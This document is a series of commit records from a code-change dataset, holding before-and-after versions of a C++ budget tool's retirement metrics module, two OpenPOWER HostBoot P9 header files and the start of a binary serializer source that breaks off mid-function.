budget::local_day();\n\n budget::date end = today - budget::days(today.day() - 1);\n budget::date start = end - budget::months(running_limit);\n\n budget::money total;\n\n for(auto& expense : all_expenses()){\n if(expense.date >= start && expense.date < end){\n total += expense.amount;\n }\n }\n\n return total;\n}\n\ndouble running_savings_rate(){\n auto today = budget::local_day();\n\n double savings_rate = 0.0;\n\n for(size_t i = 1; i <= running_limit; ++i){\n auto d = today - budget::months(i);\n\n budget::money expenses;\n\n for (auto& expense : all_expenses()) {\n if (expense.date.year() == d.year() && expense.date.month() == d.month()) {\n expenses += expense.amount;\n }\n }\n\n budget::money earnings;\n\n for (auto& earning : all_earnings()) {\n if (earning.date.year() == d.year() && earning.date.month() == d.month()) {\n earnings += earning.amount;\n }\n }\n\n budget::money income;\n\n for (auto& account : all_accounts(d.year(), d.month())){\n income += account.amount;\n }\n\n auto balance = income + earnings - expenses;\n auto local = balance \/ (income + earnings);\n\n if(local < 0){\n local = 0;\n }\n\n savings_rate += local;\n }\n\n return savings_rate \/ running_limit;\n}\n\nvoid retirement_set() {\n double wrate = 4.0;\n double roi = 4.0;\n\n if(internal_config_contains(\"withdrawal_rate\")){\n wrate = to_number<double>(internal_config_value(\"withdrawal_rate\"));\n }\n\n if(internal_config_contains(\"expected_roi\")){\n roi = to_number<double>(internal_config_value(\"expected_roi\"));\n }\n\n edit_double(wrate, \"Withdrawal Rate (%)\");\n edit_double(roi, \"Expected Annual Return (%)\");\n\n \/\/ Save the configuration\n internal_config_value(\"withdrawal_rate\") = to_string(wrate);\n internal_config_value(\"expected_roi\") = to_string(roi);\n}\n\n} \/\/ end of anonymous namespace\n\nvoid budget::retirement_module::load() {\n load_accounts();\n load_assets();\n load_expenses();\n load_earnings();\n}\n\nvoid budget::retirement_module::handle(std::vector<std::string>& args) {\n console_writer w(std::cout);\n\n if (args.empty() || args.size() == 1) {\n retirement_status(w);\n } else {\n auto& subcommand = args[1];\n\n if (subcommand == \"status\") {\n retirement_status(w);\n } else if (subcommand == \"set\") {\n retirement_set();\n std::cout << std::endl;\n retirement_status(w);\n } else {\n throw budget_exception(\"Invalid subcommand \\\"\" + subcommand + \"\\\"\");\n }\n }\n}\n\nvoid budget::retirement_status(budget::writer& w) {\n if (!w.is_web()) {\n if (!internal_config_contains(\"withdrawal_rate\")) {\n w << \"Not enough information, please configure first with retirement set\" << end_of_line;\n return;\n }\n\n if (!internal_config_contains(\"expected_roi\")) {\n w << \"Not enough information, please configure first with retirement set\" << end_of_line;\n return;\n }\n }\n\n auto currency = get_default_currency();\n auto wrate = to_number<double>(internal_config_value(\"withdrawal_rate\"));\n auto roi = to_number<double>(internal_config_value(\"expected_roi\"));\n auto years = double(int(100.0 \/ wrate));\n auto expenses = running_expenses();\n auto savings_rate = running_savings_rate();\n auto nw = get_net_worth();\n auto missing = years * expenses - nw;\n auto income = 12 * get_base_income();\n auto a_savings_rate = (income - expenses) \/ income;\n\n size_t base_months = 0;\n size_t a_base_months = 0;\n\n auto current_nw = nw;\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (savings_rate * income) \/ 12;\n\n ++base_months;\n }\n\n current_nw = nw;\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (a_savings_rate * income) \/ 12;\n\n ++a_base_months;\n }\n\n std::vector<std::string> columns = {};\n std::vector<std::vector<std::string>> contents;\n\n using namespace std::string_literals;\n\n contents.push_back({\"Withdrawal rate\"s, to_string(wrate) + \"%\"});\n contents.push_back({\"Annual Return\"s, to_string(roi) + \"%\"});\n contents.push_back({\"Years of expense\"s, to_string(years)});\n contents.push_back({\"Running expenses\"s, to_string(expenses) + \" \" + currency});\n contents.push_back({\"Monthly expenses\"s, to_string(expenses \/ 12) + \" \" + currency});\n contents.push_back({\"Target Net Worth\"s, to_string(years * expenses) + \" \" + currency});\n contents.push_back({\"Current Net Worth\"s, to_string(nw) + \" \" + currency});\n contents.push_back({\"Missing Net Worth\"s, to_string(missing) + \" \" + currency});\n contents.push_back({\"FI Ratio\"s, to_string(100 * (nw \/ missing)) + \"%\"});\n contents.push_back({\"Months of FI\"s, to_string(nw \/ (expenses \/ 12))});\n contents.push_back({\"Yearly income\"s, to_string(income) + \" \" + currency});\n contents.push_back({\"Running Savings Rate\"s, to_string(100 * savings_rate) + \"%\"});\n contents.push_back({\"Yearly savings\"s, to_string(savings_rate * income) + \" \" + currency});\n contents.push_back({\"Time to FI (w\/o returns)\"s, to_string(missing \/ (savings_rate * income)) + \" years\"});\n contents.push_back({\"Time to FI (w\/ returns)\"s, to_string(base_months \/ 12.0) + \" years\"});\n\n contents.push_back({\"Adjusted Savings Rate\"s, to_string(100 * a_savings_rate) + \"%\"});\n contents.push_back({\"Adjusted Yearly savings\"s, to_string(a_savings_rate * income) + \" \" + currency});\n contents.push_back({\"Adjusted Time to FI (w\/o returns)\"s, to_string(missing \/ (a_savings_rate * income)) + \" years\"});\n contents.push_back({\"Adjusted Time to FI (w\/ returns)\"s, to_string(a_base_months \/ 12.0) + \" years\"});\n\n w.display_table(columns, contents);\n\n std::array<int, 5> rate_decs{1, 2, 5, 10, 20};\n\n \/\/ Note: this not totally correct since we ignore the\n \/\/ correlation between the savings rate and the expenses\n\n for (auto dec : rate_decs) {\n auto dec_savings_rate = savings_rate + 0.01 * dec;\n\n auto current_nw = nw;\n size_t months = 0;\n\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (dec_savings_rate * income) \/ 12;\n\n ++months;\n }\n\n w << p_begin << \"Increasing Savings Rate by \" << dec << \"% would save \" << (base_months - months) \/ 12.0 << \" years (in \" << months \/ 12.0 << \" years)\" << p_end;\n }\n\n std::array<int, 5> exp_decs{10, 50, 100, 200, 500};\n\n for (auto dec : exp_decs) {\n auto current_nw = nw;\n size_t months = 0;\n\n auto new_savings_rate = (income - (expenses - dec * 12)) \/ income;;\n\n while (current_nw < years * (expenses - (dec * 12))) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (new_savings_rate * income) \/ 12;\n\n ++months;\n }\n\n w << p_begin << \"Decreasing monthly expenses by \" << dec << \" \" << currency << \" would save \" << (base_months - months) \/ 12.0 << \" years (in \" << months \/ 12.0 << \" (adjusted) years)\" << p_end;\n }\n}\n<commit_msg>Improve FI metrics<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2013-2018 Baptiste Wicht.\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include <iostream>\n\n#include \"retirement.hpp\"\n#include \"assets.hpp\"\n#include \"accounts.hpp\"\n#include \"expenses.hpp\"\n#include \"earnings.hpp\"\n#include \"budget_exception.hpp\"\n#include \"config.hpp\"\n#include \"console.hpp\"\n#include \"writer.hpp\"\n\nusing namespace budget;\n\nnamespace {\n\nconstexpr size_t running_limit = 12;\n\nmoney running_expenses(){\n auto today = budget::local_day();\n\n budget::date end = today - budget::days(today.day() - 1);\n budget::date start = end - budget::months(running_limit);\n\n budget::money total;\n\n for(auto& expense : all_expenses()){\n if(expense.date >= start && expense.date < end){\n total += expense.amount;\n }\n }\n\n return total;\n}\n\ndouble running_savings_rate(){\n auto today = budget::local_day();\n\n double savings_rate = 0.0;\n\n for(size_t i = 1; i <= running_limit; ++i){\n auto d = today - budget::months(i);\n\n budget::money expenses;\n\n for (auto& expense : all_expenses()) {\n if (expense.date.year() == d.year() && expense.date.month() == d.month()) {\n expenses += expense.amount;\n }\n }\n\n budget::money earnings;\n\n for (auto& earning : all_earnings()) {\n if (earning.date.year() == d.year() && earning.date.month() == d.month()) {\n earnings += earning.amount;\n }\n }\n\n budget::money income;\n\n for (auto& account : all_accounts(d.year(), d.month())){\n income += account.amount;\n }\n\n auto balance = income + earnings - expenses;\n auto local = balance \/ (income + earnings);\n\n if(local < 0){\n local = 0;\n }\n\n savings_rate += local;\n }\n\n return savings_rate \/ running_limit;\n}\n\nvoid retirement_set() {\n double wrate = 4.0;\n double roi = 4.0;\n\n if(internal_config_contains(\"withdrawal_rate\")){\n wrate = to_number<double>(internal_config_value(\"withdrawal_rate\"));\n }\n\n if(internal_config_contains(\"expected_roi\")){\n roi = to_number<double>(internal_config_value(\"expected_roi\"));\n }\n\n edit_double(wrate, \"Withdrawal Rate (%)\");\n edit_double(roi, \"Expected Annual Return (%)\");\n\n \/\/ Save the configuration\n internal_config_value(\"withdrawal_rate\") = to_string(wrate);\n internal_config_value(\"expected_roi\") = to_string(roi);\n}\n\n} \/\/ end of anonymous namespace\n\nvoid budget::retirement_module::load() {\n load_accounts();\n load_assets();\n load_expenses();\n load_earnings();\n}\n\nvoid budget::retirement_module::handle(std::vector<std::string>& args) {\n console_writer w(std::cout);\n\n if (args.empty() || args.size() == 1) {\n retirement_status(w);\n } else {\n auto& subcommand = args[1];\n\n if (subcommand == \"status\") {\n retirement_status(w);\n } else if (subcommand == \"set\") {\n retirement_set();\n std::cout << std::endl;\n retirement_status(w);\n } else {\n throw budget_exception(\"Invalid subcommand \\\"\" + subcommand + \"\\\"\");\n }\n }\n}\n\nvoid budget::retirement_status(budget::writer& w) {\n if (!w.is_web()) {\n if (!internal_config_contains(\"withdrawal_rate\")) {\n w << \"Not enough information, please configure first with retirement set\" << end_of_line;\n return;\n }\n\n if (!internal_config_contains(\"expected_roi\")) {\n w << \"Not enough information, please configure first with retirement set\" << end_of_line;\n return;\n }\n }\n\n auto currency = get_default_currency();\n auto wrate = to_number<double>(internal_config_value(\"withdrawal_rate\"));\n auto roi = to_number<double>(internal_config_value(\"expected_roi\"));\n auto years = double(int(100.0 \/ wrate));\n auto expenses = running_expenses();\n auto savings_rate = running_savings_rate();\n auto nw = get_net_worth();\n auto missing = years * expenses - nw;\n auto income = 12 * get_base_income();\n auto a_savings_rate = (income - expenses) \/ income;\n\n size_t base_months = 0;\n size_t a_base_months = 0;\n\n auto current_nw = nw;\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (savings_rate * income) \/ 12;\n\n ++base_months;\n }\n\n current_nw = nw;\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (a_savings_rate * income) \/ 12;\n\n ++a_base_months;\n }\n\n std::vector<std::string> columns = {};\n std::vector<std::vector<std::string>> contents;\n\n using namespace std::string_literals;\n\n \/\/ The configuration\n contents.push_back({\"Withdrawal rate\"s, to_string(wrate) + \"%\"});\n contents.push_back({\"Annual Return\"s, to_string(roi) + \"%\"});\n contents.push_back({\"Years of expense\"s, to_string(years)});\n\n \/\/ The target\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Running expenses\"s, to_string(expenses) + \" \" + currency});\n contents.push_back({\"Monthly expenses\"s, to_string(expenses \/ 12) + \" \" + currency});\n contents.push_back({\"Target Net Worth\"s, to_string(years * expenses) + \" \" + currency});\n\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Current Net Worth\"s, to_string(nw) + \" \" + currency});\n contents.push_back({\"Missing Net Worth\"s, to_string(missing) + \" \" + currency});\n contents.push_back({\"Yearly income\"s, to_string(income) + \" \" + currency});\n contents.push_back({\"Running Savings Rate\"s, to_string(100 * savings_rate) + \"%\"});\n contents.push_back({\"Yearly savings\"s, to_string(savings_rate * income) + \" \" + currency});\n contents.push_back({\"FI Ratio\"s, to_string(100 * (nw \/ missing)) + \"%\"});\n\n auto fi_date = budget::local_day() + budget::months(base_months);\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Months to FI\"s, to_string(base_months)});\n contents.push_back({\"Years to FI\"s, to_string(base_months \/ 12.0)});\n contents.push_back({\"Date to FI\"s, to_string(fi_date)});\n\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Current Withdrawal Rate\"s, to_string(100.0 * (expenses \/ nw)) + \"%\"});\n contents.push_back({\"Months of FI\"s, to_string(nw \/ (expenses \/ 12))});\n contents.push_back({\"Years of FI\"s, to_string(nw \/ (expenses))});\n\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Current Yearly Allowance\"s, to_string(nw * (wrate \/ 100.0))});\n contents.push_back({\"Current Monthly Allowance\"s, to_string((nw * (wrate \/ 100.0)) \/ 12)});\n\n auto a_fi_date = budget::local_day() + budget::months(a_base_months);\n contents.push_back({\"\"s, \"\"s});\n contents.push_back({\"Adjusted Savings Rate\"s, to_string(100 * a_savings_rate) + \"%\"});\n contents.push_back({\"Adjusted Yearly savings\"s, to_string(a_savings_rate * income) + \" \" + currency});\n contents.push_back({\"Adjusted Months to FI\"s, to_string(a_base_months)});\n contents.push_back({\"Adjusted Years to FI\"s, to_string(a_base_months \/ 12.0)});\n contents.push_back({\"Adjusted Date to FI\"s, to_string(a_fi_date)});\n\n w.display_table(columns, contents);\n\n std::array<int, 5> rate_decs{1, 2, 5, 10, 20};\n\n \/\/ Note: this not totally correct since we ignore the\n \/\/ correlation between the savings rate and the expenses\n\n for (auto dec : rate_decs) {\n auto dec_savings_rate = savings_rate + 0.01 * dec;\n\n auto current_nw = nw;\n size_t months = 0;\n\n while (current_nw < years * expenses) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (dec_savings_rate * income) \/ 12;\n\n ++months;\n }\n\n w << p_begin << \"Increasing Savings Rate by \" << dec << \"% would save \" << (base_months - months) \/ 12.0 << \" years (in \" << months \/ 12.0 << \" years)\" << p_end;\n }\n\n std::array<int, 5> exp_decs{10, 50, 100, 200, 500};\n\n for (auto dec : exp_decs) {\n auto current_nw = nw;\n size_t months = 0;\n\n auto new_savings_rate = (income - (expenses - dec * 12)) \/ income;;\n\n while (current_nw < years * (expenses - (dec * 12))) {\n current_nw *= 1.0 + (roi \/ 100.0) \/ 12;\n current_nw += (new_savings_rate * income) \/ 12;\n\n ++months;\n }\n\n w << p_begin << \"Decreasing monthly expenses by \" << dec << \" \" << currency << \" would save \" << (base_months - months) \/ 12.0 << \" years (in \" << months \/ 12.0 << \" (adjusted) years)\" << p_end;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/lib\/p9_common_poweronoff.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_common_poweronoff.H\n\/\/\/ @brief common procedure for power on\/off\n\/\/\/\n\/\/\/ *HWP HWP Owner : David Du <daviddu@us.ibm.com>\n\/\/\/ *HWP Backup HWP Owner : Greg Still <stillgs@us.ibm.com>\n\/\/\/ *HWP FW Owner : Sangeetha T S <sangeet2@in.ibm.com>\n\/\/\/ *HWP Team : PM\n\/\/\/ *HWP Consumed by : SBE:SGPE:CME\n\/\/\/ *HWP Level : 2\n\/\/\/\n\n#ifndef __P9_COMMON_POWERONOFF_H__\n#define __P9_COMMON_POWERONOFF_H__\n\nnamespace p9power\n{\nenum powerOperation_t\n{\n POWER_ON = 0x0,\n POWER_OFF = 0xFF,\n POWER_ON_VDD = 0x1,\n POWER_OFF_VDD = 0xFE\n};\n}\n\n\/\/ Define only address offset to be compatible with both core and cache domain\n#define PPM_PFCS 0x000f0118\n#define PPM_PFCS_CLR 0x000f0119\n#define PPM_PFCS_OR 0x000f011a\n#define PPM_PFDLY 0x000f011b\n#define PPM_PFSNS 0x000f011c\n#define PPM_PFOFF 0x000f011d\n\n\/\/\/ @typedef p9_common_poweronoff_FP_t\n\/\/\/ function pointer typedef definition for HWP call support\ntypedef fapi2::ReturnCode (*p9_common_poweronoff_FP_t) (\n const fapi2::Target < fapi2::TARGET_TYPE_EQ |\n fapi2::TARGET_TYPE_CORE > &,\n const p9power::powerOperation_t i_operation);\n\nextern \"C\"\n{\n\/\/\/ @brief common procedure for power on\/off\n\/\/\/\n\/\/\/ @param [in] i_target TARGET_TYPE_EQ|TARGET_TYPE_CORE target\n\/\/\/ @param [in] i_operation ENUM(ON,OFF)\n\/\/\/\n\/\/\/ @attr\n\/\/\/ @attritem ATTR_PFET_TIMING - EX target, uint32\n\/\/\/\n\/\/\/ @retval FAPI_RC_SUCCESS\n fapi2::ReturnCode\n p9_common_poweronoff(\n const fapi2::Target < fapi2::TARGET_TYPE_EQ |\n fapi2::TARGET_TYPE_CORE > & i_target,\n const p9power::powerOperation_t i_operation);\n\n} \/\/ extern C\n\n#endif \/\/ __P9_COMMON_POWERONOFF_H__\n<commit_msg>HWP-CORE\/CACHE: Update Istep 4 procedures regressed on model 34<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/lib\/p9_common_poweronoff.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_common_poweronoff.H\n\/\/\/ @brief common procedure for power on\/off\n\/\/\/\n\n\/\/ *HWP HWP Owner : David Du <daviddu@us.ibm.com>\n\/\/ *HWP Backup HWP Owner : Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner : Sangeetha T S <sangeet2@in.ibm.com>\n\/\/ *HWP Team : PM\n\/\/ *HWP Consumed by : SBE:SGPE:CME\n\/\/ *HWP Level : 2\n\n#ifndef __P9_COMMON_POWERONOFF_H__\n#define __P9_COMMON_POWERONOFF_H__\n\n#include <fapi2.H>\n\nnamespace p9power\n{\nenum powerOperation_t\n{\n POWER_ON = 0x0,\n POWER_OFF = 0xFF,\n POWER_ON_VDD = 0x1,\n POWER_OFF_VDD = 0xFE\n};\n}\n\n\/\/\/ @typedef p9_common_poweronoff_FP_t\n\/\/\/ function pointer typedef definition for HWP call support\n\/\/\/ @todo: consider template solution here\ntypedef fapi2::ReturnCode (*p9_common_poweronoff_FP_t) (\n const fapi2::Target < fapi2::TARGET_TYPE_EQ |\n fapi2::TARGET_TYPE_CORE > &,\n const p9power::powerOperation_t i_operation);\n\n\/\/\/ @brief common procedure for power on\/off\n\/\/\/\n\/\/\/ @param [in] i_target TARGET_TYPE_EQ|TARGET_TYPE_CORE target\n\/\/\/ @param [in] i_operation ENUM(ON,OFF)\n\/\/\/\n\/\/\/ @attr\n\/\/\/ @attritem ATTR_PFET_TIMING - EX target, uint32\n\/\/\/\n\/\/\/ @retval FAPI_RC_SUCCESS\ntemplate <fapi2::TargetType K>\nfapi2::ReturnCode\np9_common_poweronoff(\n const fapi2::Target<K>& i_target,\n const p9power::powerOperation_t i_operation);\n\n#endif \/\/ __P9_COMMON_POWERONOFF_H__\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_eff_config.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_eff_config.H\n\/\/\/ @brief Command and Control for the memory subsystem - populate attributes\n\/\/\/\n\/\/ *HWP HWP Owner: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP HWP Backup: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef __P9_MSS_EFF_CONFIG__\n#define __P9_MSS_EFF_CONFIG__\n\n#include <fapi2.H>\n\ntypedef fapi2::ReturnCode (*p9_mss_eff_config_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_MCS>&);\n\nextern \"C\"\n{\n\n\/\/\/\n\/\/\/ @brief Configure the attributes for each controller\n\/\/\/ @param[in] i_target, the controller (e.g., MCS)\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\n fapi2::ReturnCode p9_mss_eff_config( const fapi2::Target<fapi2::TARGET_TYPE_MCS>& i_target );\n\n}\n\n#endif\n<commit_msg>Modify spd_decoder, eff_config, unit tests. Modify dependent files<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_eff_config.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_eff_config.H\n\/\/\/ @brief Command and Control for the memory subsystem - populate attributes\n\/\/\/\n\/\/ *HWP HWP Owner: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP HWP Backup: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef __P9_MSS_EFF_CONFIG__\n#define __P9_MSS_EFF_CONFIG__\n\n#include <fapi2.H>\n\ntypedef fapi2::ReturnCode (*p9_mss_eff_config_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_MCS>&);\n\nextern \"C\"\n{\n\n\/\/\/\n\/\/\/ @brief Configure the attributes for each controller\n\/\/\/ @param[in] i_target the controller (e.g., MCS)\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\n fapi2::ReturnCode p9_mss_eff_config( const fapi2::Target<fapi2::TARGET_TYPE_MCS>& i_target );\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"serializer.h\"\n#include <cmath>\n#include <cstdint>\n#include <cstdlib>\n#include <limits>\n\nnamespace rapscallion {\n\nvoid serializer<std::uint_least64_t>::write(Serializer& s, std::uint_least64_t value) {\n while (value >= 0x80) {\n s.addByte((uint8_t)(value & 0x7F) | 0x80);\n value >>= 7;\n }\n s.addByte((uint8_t)value);\n}\nvoid serializer<long>::write(Serializer& s, const long v) {\n std::uint_least64_t val = (std::abs(v) << 1) | (v < 0 ? 1 : 0);\n serializer<std::uint_least64_t>::write(s, val);\n}\nvoid serializer<int>::write(Serializer& s, const int v) {\n serializer<long>::write(s, v);\n}\nvoid serializer<std::string>::write(Serializer& s, const std::string& value) {\n serializer<std::uint_least64_t>::write(s, value.size());\n for (auto& c : value) s.addByte(c);\n}\nvoid serializer<bool>::write(Serializer& s, const bool b) {\n serializer<std::uint_least64_t>::write(s, b ? 1 : 0);\n}\n\nnamespace {\n enum Type {\n Zero,\n Infinity,\n NaN,\n Normal\n };\n struct float_repr {\n \/\/ Can fit an exponent of 32-2=20 bits, can support octuple-precision IEEE754 floats\n std::int_least32_t exponent;\n \/\/ Can support double precision IEEE754 floats (quadruple requires 112 bits, octuple 236 bits)\n std::uint_least64_t fraction;\n \/\/ One bit reserved for sign bit\n static constexpr unsigned fraction_bits = 63 - 1;\n bool is_negative;\n Type type;\n };\n auto bitreverse(std::uint_least64_t b) -> decltype(b)\n {\n b = ((b & 0b1111111111111111111111111111111100000000000000000000000000000000ULL) >> 32) | ((b & 0b0000000000000000000000000000000011111111111111111111111111111111ULL) << 32);\n b = ((b & 0b1111111111111111000000000000000011111111111111110000000000000000ULL) >> 16) | ((b & 0b0000000000000000111111111111111100000000000000001111111111111111ULL) << 16);\n b = ((b & 0b1111111100000000111111110000000011111111000000001111111100000000ULL) >> 8) | ((b & 0b0000000011111111000000001111111100000000111111110000000011111111ULL) << 8);\n b = ((b & 0b1111000011110000111100001111000011110000111100001111000011110000ULL) >> 4) | ((b & 0b0000111100001111000011110000111100001111000011110000111100001111ULL) << 4);\n b = ((b & 0b1100110011001100110011001100110011001100110011001100110011001100ULL) >> 2) | ((b & 0b0011001100110011001100110011001100110011001100110011001100110011ULL) << 2);\n b = ((b & 0b1010101010101010101010101010101010101010101010101010101010101010ULL) >> 1) | ((b & 0b0101010101010101010101010101010101010101010101010101010101010101ULL) << 1);\n return b;\n }\n}\n\ntemplate <>\nstruct serializer<float_repr> {\n static void write(Serializer& s, float_repr const &b) {\n \/\/ Using multiplication to avoid bit shifting a signed integer\n switch(b.type) {\n default:\n {\n serializer<decltype(+b.exponent)>::write(s, b.is_negative ? -b.type : b.type);\n }\n break;\n case Normal:\n {\n const decltype(b.exponent) exponent\n = b.exponent * 2 + (b.exponent < 0 ? -b.is_negative : b.is_negative);\n const decltype(b.fraction) reversed_fraction\n = bitreverse(b.fraction);\n serializer<decltype(+exponent)>::write(s, exponent < 0 ? exponent - 2 : exponent + 3);\n serializer<decltype(+b.fraction)>::write(s, reversed_fraction);\n }\n break;\n };\n }\n static float_repr read(Deserializer& s) {\n float_repr result;\n auto exponent = serializer<decltype(result.exponent)>::read(s);\n if (exponent < 3 && exponent >= -2) {\n result.is_negative = (exponent < 0);\n result.type = (Type)std::abs(exponent);\n } else {\n exponent = (exponent < 0) ? exponent + 2 : exponent - 3;\n result.is_negative = !!((exponent\/ 1) % 2);\n result.type = Normal;\n result.exponent = exponent \/ 2;\n const auto reversed_fraction = serializer<decltype(result.fraction)>::read(s);\n result.fraction = bitreverse(reversed_fraction);\n return result;\n }\n }\n};\n\nvoid serializer<double>::write(Serializer& s, double const b) {\n switch (std::fpclassify(b)) {\n case FP_ZERO:\n serializer<float_repr>::write(s, { 0, 0, !!std::signbit(b), Zero });\n break;\n case FP_INFINITE:\n serializer<float_repr>::write(s, { 0, 0, !!std::signbit(b), Infinity });\n break;\n case FP_NAN:\n \/\/ The bit reversal is to ensure the most efficient encoding can be used\n serializer<float_repr>::write(s, { 0, 0, false, NaN });\n break;\n case FP_NORMAL:\n case FP_SUBNORMAL:\n float_repr repr;\n repr.type = Normal;\n repr.is_negative = !!std::signbit(b);\n \/\/ Make the fraction a positive integer\n repr.fraction = std::ldexp(std::abs(std::frexp(b, &repr.exponent)), repr.fraction_bits);\n serializer<decltype(repr)>::write(s, repr);\n break;\n }\n}\n\ndouble serializer<double>::read(Deserializer& s) {\n const auto repr = serializer<float_repr>::read(s);\n switch(repr.type) {\n case Zero:\n return (repr.is_negative ? -0.0 : 0.0);\n case Infinity:\n return repr.is_negative ? -std::numeric_limits<double>::infinity() : std::numeric_limits<double>::infinity();\n case NaN:\n return std::numeric_limits<double>::quiet_NaN();\n default:\n return (repr.is_negative ? -1.0 : 1.0) * std::ldexp(static_cast<double>(repr.fraction), repr.exponent - repr.fraction_bits);\n }\n}\n\nvoid serializer<float>::write(Serializer& s, float const b) {\n serializer<double>::write(s, b);\n}\nfloat serializer<float>::read(Deserializer& s) {\n return serializer<double>::read(s);\n}\n\nstd::uint_least64_t serializer<std::uint_least64_t>::read(Deserializer& s) {\n std::uint_least64_t val = 0,\n offs = 0,\n b = s.getByte();\n while (b & 0x80) 